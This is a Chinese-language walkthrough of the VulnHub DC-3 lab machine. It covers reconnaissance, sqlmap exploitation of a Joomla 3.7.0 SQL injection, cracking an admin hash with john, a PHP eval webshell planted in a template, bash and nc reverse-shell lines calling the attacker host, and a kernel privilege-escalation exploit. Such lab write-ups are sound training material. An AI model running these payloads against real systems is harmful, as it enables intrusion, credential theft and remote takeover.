靶机DC-3下载地址:https : //download.vulnhub.com/dc/DC-3.zip

靶机DC-3VMware下载地址:https : //download.vulnhub.com/dc/DC-3VMware.zip

注:开始将DC-3.ova文件导入VMware虚拟机,发现无法获取到靶机IP地址,作者在DC-3靶机下载页面提到可以下载已经搭建好的DC-3VMware,然后导入到VMware中就可以了

描述:从靶机DC-3开始,只有一个最终的flag,只有拿到root权限才可以发现最终的flag

0x00 前言

在开始之前我们需要知道的是,
靶机的ip获取方式是dhcp服务器来分配ip的,如果dhcp没有自动分配ip的话,请看我的置顶文章,解决没有ip的问题
而我的VMware就只有NAT模式可以使用dhcp服务器
那么接下来都将是NAT模式
在这里插入图片描述

工具、知识点和漏洞

nmap
joomscan
searchsploit
sqlmap
john
weevely
提权脚本39772

配置环境

kali: 192.168.100.34
靶机DC-1: 192.168.100.141

0x01 探测目标

探测目标的命令有很多种,arp-scan -lnetdiscovermasscan
但是我一般喜欢linux用arp-scan -l window系统用arp -a
因为我设置的dhcp服务器自动分配的ip是从130开始分配,那么这个192.168.100.141应该就是我们的靶机了

arp-scan -l

在这里插入图片描述

0x02 枚举和初步搜索信息

一般而言,我们确定一个目标后,就要收集他的端口、目录之类的。
跑一下目录
发现administrator目录,感觉有点像管理员后台,我们等会去看看

nikto --url http://192.168.100.141

在这里插入图片描述
我们用nmap跑一下,看他开放了那些端口。
nmap还有很多其他的参数,但是我比较喜欢用这2个
-A 查看所有详细信息
-p- 扫描所有端口

nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.1.0/24 快速扫描网段,发现靶场ip地址
nmap -A -p- 192.168.100.141

在这里插入图片描述
既然扫出来80段端口,我们就来看一下首页

http://192.168.100.141

在这里插入图片描述
之前我们扫目录的时候,好像扫出来一个管理员后台,那么我们现在去看看,需要账号密码,楼主用弱密码admin/admin登录失败。

http://192.168.100.141/administrator

在这里插入图片描述
使用网站指纹工具whatweb识别靶机网址使用的web服务、系统版本、CMS系统等

whatweb扫描靶机后发现靶机使用Joomla内容管理系统,而之前我们用nmap也扫出来也是joomla

whatweb http://192.168.100.141

在这里插入图片描述

使用joomscan扫描工具扫描Joomla相关配置内容、坚持已知漏洞等等

扫描后得知Joomla版本3.7.0,管理员登录页面,及一些可以访问的网站目录

joomscan --url http://192.168.100.141

在这里插入图片描述
使用searchsploit工具查找Joomla 3.7.0 版本存在的漏洞,发现一个sql注入漏洞

searchsploit Joomla 3.7.0

在这里插入图片描述

方法二找漏洞

msf中查找到的攻击模块,msf中有几个rce模块,所以先选择试是看msf的模块
msf模块挨个试过去,不是版本不符合,就是无法利用,令人在意的是unix/webapp/joomla_comfields_sqli_rce,这个模块是针对CVE-2017-8917的利用,该漏洞是joomla3.7的一个SQL注入漏洞,影响版本仅有 3.7.0。
在这里插入图片描述

这里楼主没用msf里的方法,不过也可以的

将sql注入漏洞相关介绍文档保存到本地,并查看相关注入方法

cp /usr/share/exploitdb/exploits/php/webapps/42033.txt ./
cat 42033.txt

在这里插入图片描述
在这里插入图片描述
既然给出了这个joomla3.7.0的SQL漏洞,那么我们就用这个POC去测试一下它有漏洞没,
http://192.168.100.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
在这里插入图片描述
使用sqlmap自动注入工具对靶机执行sql注入代码

注入查询数据库有哪些,查出5个数据库信息
(一路按Y就行了)

sqlmap -u "http://192.168.100.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

在这里插入图片描述
注入查询当前靶机正在使用的数据库为:joomladb
(一路按Y就行了)

sqlmap -u "http://192.168.100.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db

在这里插入图片描述
获取当前数据库的表名
(一路按Y就行了)

sqlmap -u "http://192.168.100.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables

在这里插入图片描述

观察表名,很明显,我们会关注#__users这张表
(一路按Y就行了)

 sqlmap -u "http://192.168.100.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns

第三个选项随意,第四个选项使用10线程
在这里插入图片描述
爆出字段如下的内容
在这里插入图片描述
获取目标字段

sqlmap -u "http://192.168.100.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump

在这里插入图片描述

获得网站后台登录用户名admin和密码hash值:

 admin  #用户名
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu  #密码hash值

将密文随便保存到一个文件中:
vi c23
cat c23
在这里插入图片描述
使用john爆破hash值,得到密码:snoopy
john c23
在这里插入图片描述
进入后台登录页面,登录:http://192.168.220.136/administrator/
寻找上传点
在这里插入图片描述
选择一个模板
在这里插入图片描述
在模本里新建文件
在这里插入图片描述
在这里插入图片描述
楼主这里老是上传不上去。在这里插入图片描述
虽然不能上传,但是看到html目录下有个php文件,那我们就有个更好的方法,直接在现有的文件里添加一句话木马
eval($_REQUEST[8]);

记到修改完后,左上角绿色那个save保存哟

在这里插入图片描述

木马地址

在前面刚登录进后台的时候,看到网站用的是beez3模板,那就搜一下
在这里插入图片描述
在这里插入图片描述
然而我们可以看到images和html是同一级目录,所以木马的目录在

http://192.168.100.141/templates/beez3/html/

在这里插入图片描述
我们去访问,还发现居然是个目录遍历
在这里插入图片描述

蚁剑连接木马成功。
在这里插入图片描述
在这里插入图片描述

方法二得到shell

用nc反弹shell
先开启监听
nc -lvnp 7777
在这里插入图片描述
还是老地方写入一个命令执行,然后保存
system("bash -c 'bash -i >& /dev/tcp/192.168.100.34/7777 0>&1'");

在这里插入图片描述
一访问这个网页
http://192.168.100.141/templates/beez3/html/modules.php
在这里插入图片描述
马上就反弹shell
在这里插入图片描述

方法二(分支)得到shell

和方法二差不多,这里我就只给代码了
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.100.34 7777 >/tmp/f');?>
在这里插入图片描述
在这里插入图片描述

或者

用蚁剑的虚拟端也可以
在这里插入图片描述

方法三得shell

可以使用weevely 生成可以获取shell的php脚本,上传到靶机
点击查看weevely具体使用方法

交互式shell

由于上面的shell不好用,下面通过python来建立交互式shell
交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
或者
python -c 'import pty; pty.spawn("/bin/bash")'
首先检测到靶机没有python2,只有python3,所以使用python3 -c 'import pty; pty.spawn("/bin/bash")'
在这里插入图片描述

0x03 漏洞利用

使用中国蚁剑连接,可以获取终端,因为蚁剑是非持续连接,所以需要反弹shell提权

分别看下linux的内核信息和系统发行版本信息

uname -a
cat /etc/issue
可以知道我们的linux内核是4.4.0
系统是ubuntu 16.0.4
在这里插入图片描述
记得选内核和系统对应的哦
searchsploit Linux Kernel 4.4.0

或者

searchsploit ubuntu 16.04
在这里插入图片描述
在这里插入图片描述
在searchsploit中搜索,得到一些结果,挑几个看起来符合条件的提权脚本测试一下
在这里插入图片描述
第一个失败了
在这里插入图片描述
而且直接把靶机干死了
在这里插入图片描述

尝试了多个提权漏洞都没有成功,最后发现一个“拒绝服务漏洞”,可以用来提权

Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation                      | exploits/linux/local/39772.txt

在这里插入图片描述

方法二找漏洞

使用辅助脚本提权
上传文件提权就是仁者见仁智者见智了,我这里使用一个辅助脚本来发现系统中存在哪些漏洞,注意到上传到有权限上传的地方,好比tmp是存放临时文件的,我有权限上传文件。
使用中国蚁剑上传文件,顺带着修改一下文件名(因为这里的shell不支持补齐,名字太长不方便)
在这里插入图片描述
在这里插入图片描述
使用kali来操作,该脚本的可以发现系统存在哪些漏洞
在这里插入图片描述
获取提权脚本
我这里以[CVE-2016-4557]为例,在图片里可以看到是一个39772的文件,由于给出的那个URL无法下载,这里去searchsploit里面去看看
在这里插入图片描述
在这里插入图片描述

方法二也是找的同一个漏洞,接下来楼主还是按照方法一的思路来

查看漏洞介绍

cp /usr/share/exploitdb/exploits/linux/local/39772.txt  nmsl.txt
cat nmsl.txt

最下面利用脚本
在这里插入图片描述
楼主这里kali命令下载不知道为啥失败了
在这里插入图片描述
所以就直接开启vpn,网页下载的(直接访问那个链接,就自动下载文件)
解压出来只要exploit.tar文件传到靶机上
在这里插入图片描述
kali开启一个简易的http服务
(这个搭建的简易http服务,在什么目录搭建,什么目录就是网站根目录)
在这里插入图片描述

python3 -m http.server 7777

在这里插入图片描述
靶机下载提权脚本

wget http://192.168.100.34:7777/exploit.tar

在这里插入图片描述
解压tar文件

tar xvf exploit.tar

进入解压出来的文件夹

cd ebpf_mapfd_doubleput_exploit

在这里插入图片描述
成功提权为root账户成功

chmod +x compile.sh
./compile.sh   #执行脚本,编译文件
chmod +x doubleput
./doubleput  #执行提权文件

在这里插入图片描述
在这里插入图片描述

自此5个flag就找到了,还是来总结一下吧

学习了新的CMS扫描工具joomscan
学习了john破解hash值
学习了linux端的菜刀 weevely
学习了不同思路拿shell

参考文章https://blog.csdn.net/devil8123665/article/details/107623039
https://blog.csdn.net/weixin_44288604/article/details/107938527
https://www.cnblogs.com/yurang/p/12735286.html
https://www.cnblogs.com/ph1sh/p/12491825.html
https://www.cnblogs.com/tlbjiayou/p/13910189.html

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐